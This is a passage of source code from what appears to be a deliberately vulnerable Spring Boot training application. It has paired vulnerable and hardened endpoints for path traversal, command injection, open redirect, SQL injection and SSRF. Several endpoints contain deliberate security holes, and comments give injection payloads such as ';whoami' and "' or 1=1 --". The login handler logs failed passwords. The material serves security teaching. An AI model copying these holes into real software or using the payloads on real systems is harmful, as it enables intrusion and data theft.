24 | /**
25 | * 管理员登录接口
26 | * @param admin
27 | * @return
28 | */
29 | @PostMapping("/login")
30 | public Result login(@RequestBody Admin admin) {
31 | Admin login = loginService.login(admin);
32 | if (login != null) {
33 | //表示账号密码校验成功,登录成功
34 | HashMap claims = new HashMap<>();
35 | claims.put("id", login.getId());
36 | claims.put("username", login.getUsername());
37 | claims.put("name", login.getName());
38 |
39 | String jwttoken = JwtUtils.generateJwt(claims);
40 |
41 | log.info("管理员:{} 登录成功,分配的jwttoken是:{}", login.getUsername(), jwttoken);
42 | // return Result.success(login);
43 | return Result.success(jwttoken);
44 | } else {
45 | // 登录失败
46 | log.info("登录失败,登录账号:{}, 密码: {}", admin.getUsername(), admin.getPassword());
47 | return Result.error("用户名或密码错误");
48 | }
49 | }
50 |
51 | /**
52 | * 获取登录管理员账号的信息
53 | */
54 | @GetMapping("/getAdminInfo")
55 | public Result getAdminInfo(HttpServletRequest request, HttpServletResponse response) {
56 |
57 | //1.获取请求头的令牌
58 | String jwttoken = request.getHeader("Authorization");
59 | String id = JwtUtils.parseJwt(jwttoken).get("id").toString();
60 |
61 | Admin admin = loginService.getAdminById(id);
62 |
63 | if (admin != null) {
64 | // 查询到用户
65 | return Result.success(admin);
66 | } else {
67 | // 根据token未查到用户
68 | return Result.error("未查到相关token");
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/PathTraversal/PathTraversalController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.PathTraversal;
2 |
3 | import icu.secnotes.utils.Security;
4 | import lombok.extern.slf4j.Slf4j;
5 | import org.apache.commons.io.IOUtils;
6 | import org.springframework.http.MediaType;
7 | import org.springframework.http.ResponseEntity;
8 | import org.springframework.web.bind.annotation.GetMapping;
9 | import org.springframework.web.bind.annotation.RequestMapping;
10 | import org.springframework.web.bind.annotation.RequestParam;
11 | import org.springframework.web.bind.annotation.RestController;
12 | import java.io.File;
13 | import java.io.FileInputStream;
14 | import java.io.IOException;
15 | import java.nio.file.Path;
16 | import java.nio.file.Paths;
17 |
18 | @RestController
19 | @Slf4j
20 | @RequestMapping("/pathtraversal")
21 | public class PathTraversalController {
22 |
23 | @GetMapping("/vuln1")
24 | public ResponseEntity vuln1(@RequestParam String filename) throws IOException {
25 | // 1. 构建图片文件路径
26 | File file = new File("images/" + filename);
27 |
28 | /**
29 | * 1)项目的根目录通常是指包含pom.xml文件的目录
30 | * -- 打印文件路径可知:/Users/liujianping/IdeaProjects/SpringVulnBoot/images/img_6.png
31 | * 2)如果是读取resources下面的图片呢
32 | * File file = new File("src/main/resources/images/" + filename);
33 | */
34 | log.info("文件位置: {}", file.getAbsolutePath());
35 |
36 | // 2. 检查文件是否存在
37 | if (!file.exists()) {
38 | return ResponseEntity.notFound().build(); // 文件不存在,返回 404
39 | }
40 |
41 | // 3. 读取文件内容并返回
42 | FileInputStream fis = new FileInputStream(file);
43 | byte[] imageBytes = IOUtils.toByteArray(fis);
44 | fis.close();
45 |
46 | // 4. 获取图片类型 (根据实际情况修改)
47 | String contentType; // 默认图片类型
48 | if (filename.toLowerCase().endsWith(".jpg") || filename.toLowerCase().endsWith(".jpeg")) {
49 | contentType = "image/jpeg";
50 | } else if (filename.toLowerCase().endsWith(".gif")) {
51 | contentType = "image/gif";
52 | } else if (filename.toLowerCase().endsWith(".png")) {
53 | contentType = "image/png";
54 | } else {
55 | contentType = "text/plain";
56 | }
57 |
58 | // 5. 设置 Content-Type 响应头并返回 ResponseEntity
59 | return ResponseEntity.ok()
60 | .contentType(MediaType.parseMediaType(contentType))
61 | .body(imageBytes);
62 | }
63 |
64 | @GetMapping("/sec1")
65 | public ResponseEntity sec1(@RequestParam String filename) throws IOException {
66 |
67 | // 1. 检查文件名是否合法
68 | if (!Security.checkFilename(filename)) {
69 | return ResponseEntity.badRequest().body("文件名不合法".getBytes()); // 文件名不合法,返回 400
70 | }
71 |
72 | // 2. 构建图片文件路径
73 | File file = new File("images/" + filename);
74 | log.info("文件位置: {}", file.getAbsolutePath());
75 |
76 | // 3. 检查文件是否存在
77 | if (!file.exists()) {
78 | return ResponseEntity.notFound().build(); // 文件不存在,返回 404
79 | }
80 |
81 | // 4. 读取文件内容并返回
82 | FileInputStream fis = new FileInputStream(file);
83 | byte[] imageBytes = IOUtils.toByteArray(fis);
84 | fis.close();
85 |
86 | // 5. 获取图片类型 (根据实际情况修改)
87 | String contentType; // 默认图片类型
88 | if (filename.toLowerCase().endsWith(".jpg") || filename.toLowerCase().endsWith(".jpeg")) {
89 | contentType = "image/jpeg";
90 | } else if (filename.toLowerCase().endsWith(".gif")) {
91 | contentType = "image/gif";
92 | } else if (filename.toLowerCase().endsWith(".png")) {
93 | contentType = "image/png";
94 | } else {
95 | contentType = "text/plain";
96 | }
97 |
98 | // 6. 设置 Content-Type 响应头并返回 ResponseEntity
99 | return ResponseEntity.ok()
100 | .contentType(MediaType.parseMediaType(contentType))
101 | .body(imageBytes);
102 | }
103 |
104 | @GetMapping("/sec2")
105 | public ResponseEntity sec2(@RequestParam String filename) throws IOException {
106 |
107 | // 1. 构建安全的文件路径
108 | Path baseDir = Paths.get("images").toAbsolutePath().normalize();
109 | Path filePath = baseDir.resolve(filename).normalize();
110 |
111 | // 2. 检查路径是否在允许的目录范围内
112 | if (!filePath.startsWith(baseDir)) {
113 | return ResponseEntity.badRequest().body("Access denied".getBytes());
114 | }
115 |
116 | File file = filePath.toFile();
117 | log.info("文件位置: {}", file.getAbsolutePath());
118 |
119 | // 3. 检查文件是否存在
120 | if (!file.exists()) {
121 | return ResponseEntity.notFound().build(); // 文件不存在,返回 404
122 | }
123 |
124 | // 4. 读取文件内容并返回
125 | FileInputStream fis = new FileInputStream(file);
126 | byte[] imageBytes = IOUtils.toByteArray(fis);
127 | fis.close();
128 |
129 | // 5. 获取图片类型 (根据实际情况修改)
130 | String contentType; // 默认图片类型
131 | if (filename.toLowerCase().endsWith(".jpg") || filename.toLowerCase().endsWith(".jpeg")) {
132 | contentType = "image/jpeg";
133 | } else if (filename.toLowerCase().endsWith(".gif")) {
134 | contentType = "image/gif";
135 | } else if (filename.toLowerCase().endsWith(".png")) {
136 | contentType = "image/png";
137 | } else {
138 | contentType = "text/plain";
139 | }
140 |
141 | // 6. 设置 Content-Type 响应头并返回 ResponseEntity
142 | return ResponseEntity.ok()
143 | .contentType(MediaType.parseMediaType(contentType))
144 | .body(imageBytes);
145 | }
146 |
147 | }
148 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/RCE/RCEController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.RCE;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import icu.secnotes.utils.Security;
5 | import lombok.extern.slf4j.Slf4j;
6 | import org.springframework.web.bind.annotation.*;
7 |
8 | import java.io.BufferedReader;
9 | import java.io.IOException;
10 | import java.io.InputStreamReader;
11 | import java.util.Arrays;
12 | import java.util.concurrent.TimeUnit;
13 |
14 | @RestController
15 | @Slf4j
16 | @RequestMapping("/rce")
17 | public class RCEController {
18 |
19 | /**
20 | * @Poc:http://127.0.0.1:8080/rce/ping?ip=127.0.0.1 -c 1;whoami
21 | * @param ip IP地址
22 | * @return 返回命令执行结果
23 | */
24 | @GetMapping("/vulnPing")
25 | public Result vulnPing(String ip) {
26 | System.out.println(ip);
27 | String line; // 用于保存命令执行结果
28 | StringBuilder sb = new StringBuilder();
29 |
30 | // 要执行的命令
31 | String[] cmd = {"bash" , "-c", "ping " + ip};
32 | log.info("执行的命令: {}", Arrays.toString(cmd));
33 |
34 | try {
35 | // 执行命令并获取进程
36 | Process process = Runtime.getRuntime().exec(cmd);
37 |
38 | // 获取命令的输出流
39 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
40 | while ((line = reader.readLine()) != null) {
41 | sb.append(line).append("\n");
42 | }
43 |
44 | // 获取命令的错误流
45 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
46 | while ((line = errorReader.readLine()) != null) {
47 | sb.append(line).append("\n");
48 | }
49 |
50 | int exitValue = process.waitFor();
51 | System.out.println("Process exited with value " + exitValue);
52 |
53 | } catch (IOException | InterruptedException e) {
54 | e.printStackTrace();
55 | }
56 | //将命令执行结果或者错误结果输出
57 | return Result.success(sb.toString());
58 | }
59 |
60 | /**
61 | * @Poc:http://127.0.0.1:8080/rce/secPing?ip=127.0.0.1 -c 1;whoami
62 | * @param ip
63 | * @return
64 | */
65 | @GetMapping("/secPing")
66 | public Result secPing(String ip) {
67 | if (Security.checkCommand(ip)) {
68 | log.warn("非法字符:{}", ip);
69 | return Result.error("检测到非法命令注入!");
70 | }
71 |
72 | String line;
73 | StringBuilder sb = new StringBuilder();
74 |
75 | // 要执行的命令
76 | String[] cmd = {"bash" , "-c", "ping " + ip};
77 | log.info("执行的命令: {}", Arrays.toString(cmd));
78 |
79 | try {
80 | // 执行命令并获取进程
81 | Process process = Runtime.getRuntime().exec(cmd);
82 |
83 | // 获取命令的输出流
84 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
85 | while ((line = reader.readLine()) != null) {
86 | sb.append(line).append("\n");
87 | }
88 |
89 | // 获取命令的错误流
90 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
91 | while ((line = errorReader.readLine()) != null) {
92 | sb.append(line).append("\n");
93 | }
94 |
95 | int exitValue = process.waitFor();
96 | System.out.println("Process exited with value " + exitValue);
97 |
98 | } catch (IOException | InterruptedException e) {
99 | e.printStackTrace();
100 | }
101 | //将命令执行结果或者错误结果输出
102 | return Result.success(sb.toString());
103 | }
104 |
105 | /**
106 | * @Poc: http://127.0.0.1:8080/rce/vulnPing2?ip=127.0.0.1 -c 1;whoami
107 | * @param ip
108 | * @return
109 | */
110 | @GetMapping("/vulnPing2")
111 | public Result vulnPing2(String ip) {
112 | String line;
113 | StringBuilder sb = new StringBuilder();
114 |
115 | // 要执行的命令
116 | String[] cmd = {"bash" , "-c", "ping " + ip};
117 | log.info("执行的命令: {}", Arrays.toString(cmd));
118 |
119 | try {
120 | // 执行命令并获取进程
121 | ProcessBuilder processBuilder = new ProcessBuilder(cmd);
122 | // ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", "ping " + ip); // 也可以这样写
123 |
124 | Process process = processBuilder.start();
125 |
126 | // *** 正确的超时设置方法 ***
127 | // 等待进程结束,最多等待 10 秒
128 | boolean finished = process.waitFor(10, TimeUnit.SECONDS);
129 |
130 | if (!finished) {
131 | // 如果进程在 10 秒内没有结束,则强制终止它
132 | process.destroyForcibly();
133 | sb.append("命令执行超时,已被终止。\n");
134 | // 等待进程完全终止
135 | process.waitFor(); // 这一行确保进程清理完毕
136 | }
137 |
138 | // 获取命令的输出流
139 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
140 | while ((line = reader.readLine()) != null) {
141 | sb.append(line).append("\n");
142 | }
143 |
144 | // 获取命令的错误流
145 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
146 | while ((line = errorReader.readLine()) != null) {
147 | sb.append(line).append("\n");
148 | }
149 |
150 | int exitValue = process.waitFor();
151 | System.out.println("Process exited with value " + exitValue);
152 |
153 | } catch (IOException | InterruptedException e) {
154 | e.printStackTrace();
155 | }
156 | //将命令执行结果或者错误结果输出
157 | return Result.success(sb.toString());
158 | }
159 |
160 | /**
161 | * @Poc:http://127.0.0.1:8080/rce/secPing2?ip=127.0.0.1 -c 1;whoami
162 | * @param ip
163 | * @return
164 | */
165 | @GetMapping("/secPing2")
166 | public Result secPing2(String ip) {
167 | if (Security.checkIp(ip)) {
168 | String line;
169 | StringBuilder sb = new StringBuilder();
170 |
171 | // 要执行的命令
172 | String[] cmd = {"bash" , "-c", "ping " + ip};
173 | log.info("执行的命令: {}", Arrays.toString(cmd));
174 |
175 | try {
176 | // 执行命令并获取进程
177 | ProcessBuilder processBuilder = new ProcessBuilder(cmd);
178 |
179 | // 设置超时时间为10秒
180 | // 退出值为 124 表示进程因为超时被终止
181 | processBuilder.command().add(0, "timeout");
182 | processBuilder.command().add(1, "10s");
183 |
184 | Process process = processBuilder.start();
185 |
186 | // 获取命令的输出流
187 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
188 | while ((line = reader.readLine()) != null) {
189 | sb.append(line).append("\n");
190 | }
191 |
192 | // 获取命令的错误流
193 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
194 | while ((line = errorReader.readLine()) != null) {
195 | sb.append(line).append("\n");
196 | }
197 |
198 | int exitValue = process.waitFor();
199 | System.out.println("Process exited with value " + exitValue);
200 |
201 | } catch (IOException | InterruptedException e) {
202 | e.printStackTrace();
203 | }
204 | //将命令执行结果或者错误结果输出
205 | return Result.success(sb.toString());
206 | } else {
207 | log.warn("IP地址不合法:{}", ip);
208 | return Result.error("IP地址不合法!");
209 | }
210 | }
211 | }
212 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/Redirect/RedirectController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.Redirect;
2 |
3 | import lombok.extern.slf4j.Slf4j;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.bind.annotation.RestController;
7 |
8 | import javax.servlet.http.HttpServletResponse;
9 | import java.io.IOException;
10 |
11 | @RestController
12 | @Slf4j
13 | @RequestMapping("/openUrl/")
14 | public class RedirectController {
15 |
16 | @GetMapping("/redirect")
17 | public String redirect(String url) {
18 | log.info("重定向到: " + url);
19 | return url;
20 | }
21 |
22 | @GetMapping("/redirect2")
23 | public void redirect2(String url, HttpServletResponse response) throws IOException {
24 | log.info("重定向到: " + url);
25 | if (url != null && !url.isEmpty() && (url.startsWith("http") || url.startsWith("https"))) {
26 | response.sendRedirect(url);
27 | } else {
28 | // 处理 URL 为空的情况,例如跳转到默认页面
29 | response.sendRedirect("http://127.0.0.1:9528/?#/dashboard");
30 | }
31 | }
32 |
33 | @GetMapping("/secRedirect1")
34 | public void secRedirect1(String url, HttpServletResponse response) throws IOException {
35 | log.info("重定向到: " + url);
36 | if (url.contains("google.com")) {
37 | response.sendRedirect(url);
38 | } else {
39 | // 处理 URL 为空的情况,例如跳转到默认页面
40 | response.sendRedirect("http://127.0.0.1:9528/?#/dashboard");
41 | }
42 | }
43 |
44 | @GetMapping("/secRedirect2")
45 | public void secRedirect2(String url, HttpServletResponse response) throws IOException {
46 | log.info("重定向到: " + url);
47 | if ("https://www.google.com".equals(url)) {
48 | response.sendRedirect(url);
49 | } else {
50 | // 处理 URL 为空的情况,例如跳转到默认页面
51 | response.sendRedirect("http://127.0.0.1:9528/?#/dashboard");
52 | }
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/SQLI/JdbcController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.SQLI;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import icu.secnotes.pojo.User;
5 | import icu.secnotes.utils.Security;
6 | import lombok.extern.slf4j.Slf4j;
7 | import org.springframework.beans.factory.annotation.Value;
8 | import org.springframework.web.bind.annotation.GetMapping;
9 | import org.springframework.web.bind.annotation.RequestMapping;
10 | import org.springframework.web.bind.annotation.RestController;
11 | import java.sql.*;
12 | import java.util.ArrayList;
13 | import java.util.List;
14 |
15 | /**
16 | * sql注入漏洞-jdbc
17 | */
18 | @Slf4j
19 | @RequestMapping("/sqli/jdbc")
20 | @RestController
21 | public class JdbcController {
22 |
23 | /**
24 | * 下面解释为啥简单的使用 @Slf4j 注解就可以在项目中使用logback打印日志了?
25 | * @Slf4j 注解是 Lombok 库提供的一个注解,它可以自动为你的类生成一个 log 静态变量,类型为 org.slf4j.Logger。
26 | * 当你使用 @Slf4j 注解后,Lombok 会在编译时自动生成类似于 private static final Logger log = LoggerFactory.getLogger(YourClass.class); 的代码。
27 | * 因此,你就可以直接在类中使用 log.info("...")、log.debug("...") 等方法来打印日志,而无需手动创建 Logger 对象。
28 | */
29 |
30 | @Value("${spring.datasource.url}")
31 | private String db_url;
32 |
33 | @Value("${spring.datasource.username}")
34 | private String db_user;
35 |
36 | @Value("${spring.datasource.password}")
37 | private String db_pass;
38 |
39 | /**
40 | * Jdbc:数字型sql注入-普通参数
41 | * @Poc http://127.0.0.1:8080/sqli/jdbc/getUserById?id=1 or 1=1
42 | * @param id
43 | * @return
44 | * @throws Exception
45 | */
46 | @GetMapping("/getUserById")
47 | public Result getUserById(String id) throws Exception {
48 | List users = new ArrayList<>();
49 |
50 | //1、注册驱动
51 | Class.forName("com.mysql.cj.jdbc.Driver");
52 |
53 | //2.获取连接
54 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
55 |
56 | //3.定义sql语句
57 | String sql = "select id, username, name from user where id = " + id;
58 |
59 | //4.获取statement对象
60 | Statement statement = conn.createStatement();
61 | ResultSet resultSet = statement.executeQuery(sql);
62 | log.info("sql语句被执行: {}", sql);
63 |
64 | //5.判断是否查询到数据
65 | while (resultSet.next()) {
66 | User user = new User();
67 | user.setId(resultSet.getInt("id"));
68 | user.setName(resultSet.getString("name"));
69 | user.setUsername(resultSet.getString("username"));
70 |
71 | users.add(user);
72 | }
73 | resultSet.close();
74 | statement.close();
75 | conn.close();
76 | return Result.success(users);
77 | }
78 |
79 | /**
80 | * Jdbc:字符串型sql注入-普通参数
81 | * @Poc http://127.0.0.1:8080/sqli/jdbc/getUserByUsername?username=zhangsan' or 1=1 --
82 | * @param username
83 | * @return
84 | * @throws Exception
85 | */
86 | @GetMapping("/getUserByUsername")
87 | public Result getUserByUsername(String username) throws Exception {
88 | List users = new ArrayList<>();
89 |
90 | //1、注册驱动
91 | Class.forName("com.mysql.cj.jdbc.Driver");
92 |
93 | //2.获取连接
94 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
95 |
96 | //3.定义sql语句
97 | String sql = "select id, username, name, password from user where username = '" + username + "'";
98 |
99 | //4.获取statement对象
100 | Statement statement = conn.createStatement();
101 | ResultSet resultSet = statement.executeQuery(sql);
102 | log.info("sql语句被执行: {}", sql);
103 |
104 | //5.判断是否查询到数据
105 | while (resultSet.next()) {
106 | User user = new User();
107 | user.setId(resultSet.getInt("id"));
108 | user.setName(resultSet.getString("name"));
109 | user.setUsername(resultSet.getString("username"));
110 | user.setPassword(resultSet.getString("password"));
111 | users.add(user);
112 | }
113 | resultSet.close();
114 | statement.close();
115 | conn.close();
116 | return Result.success(users);
117 | }
118 |
119 | /**
120 | * Jdbc:数字型sql注入-普通参数
121 | * @Poc http://127.0.0.1:8080/sqli/jdbc/getUserById?id=1 or 1=1
122 | * @param id
123 | * @return
124 | * @throws Exception
125 | */
126 | @GetMapping("/getUserByIdError")
127 | public Result getUserByIdError(String id) throws Exception {
128 | List users = new ArrayList<>();
129 |
130 | try {
131 | //1、注册驱动
132 | Class.forName("com.mysql.cj.jdbc.Driver");
133 |
134 | //2.获取连接
135 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
136 |
137 | //3.定义sql语句
138 | String sql = "select id, username, name from user where id = " + id;
139 | log.info("sql语句被执行: {}", sql);
140 |
141 | //4.获取statement对象
142 | Statement statement = conn.createStatement();
143 | ResultSet resultSet = statement.executeQuery(sql);
144 |
145 | //5.判断是否查询到数据
146 | while (resultSet.next()) {
147 | User user = new User();
148 | user.setId(resultSet.getInt("id"));
149 | user.setName(resultSet.getString("name"));
150 | user.setUsername(resultSet.getString("username"));
151 |
152 | users.add(user);
153 | }
154 | resultSet.close();
155 | statement.close();
156 | conn.close();
157 | return Result.success(users);
158 | } catch (Exception e) {
159 | return Result.error(e.toString());
160 | }
161 | }
162 |
163 | /**
164 | * Jdbc:数字型sql注入-预编译参数
165 | * @Poc http://
166 | */
167 | @GetMapping("/getUserSecById")
168 | public Result getUserSecById(String id) throws Exception {
169 | List users = new ArrayList<>();
170 |
171 | //1、注册驱动
172 | Class.forName("com.mysql.cj.jdbc.Driver");
173 |
174 | //2.获取连接
175 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
176 |
177 | //3.定义sql语句
178 | String sql = "select id, username, name from user where id = ?";
179 |
180 | //4.获取statement对象
181 | PreparedStatement preparedStatement = conn.prepareStatement(sql);
182 | preparedStatement.setInt(1, Integer.parseInt(id));
183 | ResultSet resultSet = preparedStatement.executeQuery();
184 | log.info("sql语句被执行: {}", sql);
185 |
186 | //5.判断是否查询到数据
187 | while (resultSet.next()) {
188 | User user = new User();
189 | user.setId(resultSet.getInt("id"));
190 | user.setName(resultSet.getString("name"));
191 | user.setUsername(resultSet.getString("username"));
192 |
193 | users.add(user);
194 | }
195 | resultSet.close();
196 | preparedStatement.close();
197 | conn.close();
198 | return Result.success(users);
199 | }
200 |
201 | /**
202 | * Jdbc:字符串型sql注入-恶意字符过滤
203 | */
204 | @GetMapping("/getUserSecByUsernameFilter")
205 | public Result getUserByUsernameFilter(String username) throws Exception {
206 | if (!Security.checkSql(username)) {
207 | List users = new ArrayList<>();
208 | //1、注册驱动
209 | Class.forName("com.mysql.cj.jdbc.Driver");
210 |
211 | //2.获取连接
212 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
213 |
214 | //3.定义sql语句
215 | String sql = "select id, username, name from user where username = '" + username + "'";
216 |
217 | //4.获取statement对象
218 | Statement statement = conn.createStatement();
219 | ResultSet resultSet = statement.executeQuery(sql);
220 | log.info("sql语句被执行: {}", sql);
221 |
222 | //5.判断是否查询到数据
223 | while (resultSet.next()) {
224 | User user = new User();
225 | user.setId(resultSet.getInt("id"));
226 | user.setName(resultSet.getString("name"));
227 | user.setUsername(resultSet.getString("username"));
228 |
229 | users.add(user);
230 | }
231 | resultSet.close();
232 | statement.close();
233 | conn.close();
234 | return Result.success(users);
235 | } else {
236 | log.warn("检测到非法注入字符: {}", username);
237 | return Result.error("检测到非法注入字符");
238 | }
239 | }
240 |
241 | /**
242 | * Jdbc:字符串型sql注入-预编译参数
243 | * @Poc http://
244 | */
245 | @GetMapping("/getUserSecByUsername")
246 | public Result getUserSecByUsername(String username) throws Exception {
247 | List users = new ArrayList<>();
248 |
249 | //1、注册驱动
250 | Class.forName("com.mysql.cj.jdbc.Driver");
251 |
252 | //2.获取连接
253 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
254 |
255 | //3.定义sql语句
256 | String sql = "select id, username, name from user where username = ?";
257 |
258 | //4.获取statement对象
259 | PreparedStatement preparedStatement = conn.prepareStatement(sql);
260 | preparedStatement.setString(1, username);
261 | ResultSet resultSet = preparedStatement.executeQuery();
262 | log.info("sql语句被执行: {}", sql);
263 |
264 | //5.判断是否查询到数据
265 | while (resultSet.next()) {
266 | User user = new User();
267 | user.setId(resultSet.getInt("id"));
268 | user.setName(resultSet.getString("name"));
269 | user.setUsername(resultSet.getString("username"));
270 |
271 | users.add(user);
272 | }
273 | resultSet.close();
274 | preparedStatement.close();
275 | conn.close();
276 | return Result.success(users);
277 | }
278 |
279 | /**
280 | * Jdbc:字符串型sql注入-预编译参数-但未使用占位符
281 | */
282 | @GetMapping("/getUserSecByUsernameError")
283 | public Result getUserSecByUsernameError(String username) throws Exception {
284 | List users = new ArrayList<>();
285 |
286 | //1、注册驱动
287 | Class.forName("com.mysql.cj.jdbc.Driver");
288 |
289 | //2.获取连接
290 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
291 |
292 | //3.定义sql语句
293 | String sql = "select id, username, name, password from user where username = '" + username + "'";
294 |
295 | //4.获取statement对象
296 | PreparedStatement preparedStatement = conn.prepareStatement(sql);
297 | ResultSet resultSet = preparedStatement.executeQuery();
298 | log.info("sql语句被执行: {}", sql);
299 |
300 | //5.判断是否查询到数据
301 | while (resultSet.next()) {
302 | User user = new User();
303 | user.setId(resultSet.getInt("id"));
304 | user.setName(resultSet.getString("name"));
305 | user.setUsername(resultSet.getString("username"));
306 | user.setPassword(resultSet.getString("password"));
307 | users.add(user);
308 | }
309 | resultSet.close();
310 | preparedStatement.close();
311 | conn.close();
312 | return Result.success(users);
313 | }
314 | }
315 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/SQLI/MybatisController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.SQLI;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import icu.secnotes.service.UserService;
5 | import icu.secnotes.utils.Security;
6 | import lombok.extern.slf4j.Slf4j;
7 | import org.springframework.beans.factory.annotation.Autowired;
8 | import org.springframework.web.bind.annotation.*;
9 |
10 | /**
11 | * sql注入漏洞-mybatis
12 | */
13 | @RestController
14 | @RequestMapping("/sqli/mybatis")
15 | @Slf4j
16 | public class MybatisController {
17 |
18 | @Autowired
19 | private UserService userService;
20 |
21 | /**
22 | * Mybatis:数字型sql注入-路径参数
23 | * @Poc http://127.0.0.1:8080/sqlin/getUserById/1 or 1=2
24 | * @param id 用户id
25 | * @return List集合
26 | */
27 | @GetMapping("/getUserById/{id}")
28 | public Result getUserById(@PathVariable String id) {
29 | return Result.success(userService.selectUserById(id));
30 | }
31 |
32 | /**
33 | * Mybatis:数字型sql注入-普通参数
34 | * @Poc http://127.0.0.1:8080/sqlin/getUserById?id=1 or 1=1
35 | * @param id 用户id
36 | * @return List集合
37 | */
38 | @GetMapping("/getUserById")
39 | public Result getUserById2(String id) {
40 | return Result.success(userService.selectUserById(id));
41 | }
42 |
43 | @GetMapping("/getUserByIdSec")
44 | public Result getUserByIdSec(String id) {
45 | if (!Security.checkSql(id)) {
46 | return Result.success(userService.selectUserById(id));
47 | } else {
48 | log.warn("检测到非法注入字符: {}", id);
49 | return Result.error("检测到非法注入");
50 | }
51 | }
52 |
53 | /**
54 | * Mybatis:字符型sql注入-路径参数
55 | * @Poc http://127.0.0.1:8080/sqlin/getUserByUsername/lisi' or 'f'='f
56 | * @param username
57 | * @return
58 | */
59 | @GetMapping("/getUserByUsername/{username}")
60 | public Result getUserByUsername(@PathVariable String username) {
61 | return Result.success(userService.selectUserByUsername(username));
62 | }
63 |
64 | /**
65 | * Mybatis:预编译
66 | * @param username
67 | * @return
68 | */
69 | @GetMapping("/getUserSecByUsername2")
70 | public Result getUserSecByUsername2(String username) {
71 | return Result.success(userService.selectUserSecByUsername(username));
72 | }
73 |
74 | /**
75 | * Mybatis:恶意字符过滤
76 | */
77 | @GetMapping("/getUserSecByUsernameFilter2")
78 | public Result getUserSecByUsernameFilter2(String username) {
79 | if (!Security.checkSql(username)) {
80 | return Result.success(userService.selectUserByUsername(username));
81 | } else {
82 | log.warn("检测到非法注入字符: {}", username);
83 | return Result.error("检测到非法注入");
84 | }
85 | }
86 |
87 | /**
88 | * Mybatis:字符型sql注入-普通参数
89 | * @Poc http://127.0.0.1:8080/sqli/mybatis/getUserByUsername?username=zhangsan' or 'f'='f
90 | http://127.0.0.1:8080/sqli/mybatis/getUserByUsername?username=zhangsan' or 1=1 --
91 | * @param username
92 | * @return
93 | */
94 | @GetMapping("/getUserByUsername")
95 | public Result getUserByUsername2(String username) {
96 | return Result.success(userService.selectUserByUsername(username));
97 | }
98 |
99 | /**
100 | * 分页查询
101 | */
102 | @GetMapping("/getUserByPage")
103 | public Result getUserByPage(@RequestParam(defaultValue = "id") String orderBy, @RequestParam(defaultValue = "1") Integer page, @RequestParam(defaultValue = "5") Integer pageSize) {
104 | log.info("分页查询,参数:{} {} {}", page, pageSize, orderBy);
105 | return Result.success(userService.pageOrderBy(orderBy, page, pageSize));
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/SSRF/SSRFController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.SSRF;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import lombok.extern.slf4j.Slf4j;
5 | import org.springframework.web.bind.annotation.GetMapping;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.RequestParam;
8 | import org.springframework.web.bind.annotation.RestController;
9 | import java.io.ByteArrayOutputStream;
10 | import java.io.IOException;
11 | import java.io.InputStream;
12 | import java.net.InetAddress;
13 | import java.net.URL;
14 | import java.net.URLConnection;
15 | import java.net.UnknownHostException;
16 | import java.util.Base64;
17 |
18 | @RestController
19 | @Slf4j
20 | @RequestMapping("/ssrf")
21 | public class SSRFController {
22 |
23 | @GetMapping("/vuln1")
24 | public Result previewImage(@RequestParam String url) {
25 | try {
26 | // 直接使用用户输入的URL获取图片,没有进行任何过滤
27 | URL imageUrl = new URL(url);
28 | URLConnection connection = imageUrl.openConnection();
29 | byte[] imageBytes = connection.getInputStream().readAllBytes();
30 | String base64Image = Base64.getEncoder().encodeToString(imageBytes);
31 | return Result.success(base64Image);
32 | } catch (Exception e) {
33 | return Result.error("图片预览失败: " + e.getMessage());
34 | }
35 | }
36 |
37 | @GetMapping("/sec1")
38 | public void previewImageSec(@RequestParam String url) {
39 |
40 | }
41 |
42 | private boolean isInternalIP(String host) {
43 | try {
44 | InetAddress addr = InetAddress.getByName(host);
45 | return addr.isLoopbackAddress() ||
46 | addr.isSiteLocalAddress() ||
47 | addr.isLinkLocalAddress() ||
48 | addr.isAnyLocalAddress();
49 | } catch (UnknownHostException e) {
50 | return false;
51 | }
52 | }
53 | }
--------------------------------------------------------------------------------
/src/main/java/icu/secnotes/controller/XSS/ReflectedController.java:
--------------------------------------------------------------------------------
1 | package icu.secnotes.controller.XSS;
2 |
3 | import icu.secnotes.pojo.Result;
4 | import icu.secnotes.utils.Security;
5 | import lombok.extern.slf4j.Slf4j;
6 | import org.owasp.encoder.Encode;
7 | import org.springframework.web.bind.annotation.GetMapping;
